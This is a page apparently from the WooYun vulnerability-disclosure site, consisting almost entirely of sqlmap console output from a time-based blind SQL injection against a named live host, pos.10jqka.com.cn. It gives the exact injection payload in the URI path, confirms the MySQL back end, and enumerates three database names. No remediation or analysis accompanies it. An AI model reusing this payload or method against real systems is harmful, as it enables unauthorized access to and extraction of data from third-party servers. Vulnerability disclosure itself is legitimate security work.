WooYun.org

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: http://pos.10jqka.com.cn:80/center/center/myupload/uploaderid/235070423' AND (SELECT * FROM (SELECT( SLEEP (5)))rgZl)and '5652'='5652/
---
[11:42:50] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[11:42:50] [INFO] fetching database names
[11:42:50] [INFO] fetching number of databases
[11:42:50] [WARNING] time-based comparison requires larger statistical model, please wait..............................                       
[11:42:55] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[11:43:28] [INFO] adjusting time delay to 1 second due to good response times
3
[11:43:28] [INFO] retrieved: inform
[11:44:36] [ERROR] invalid character detected. retrying..
[11:44:36] [WARNING] increasing time delay to 2 seconds 
ation_schema
[11:47:59] [INFO] retrieved: pos
[11:49:05] [INFO] retrieved: test
available databases [3]:
[*] information_schema
[*] pos
[*] test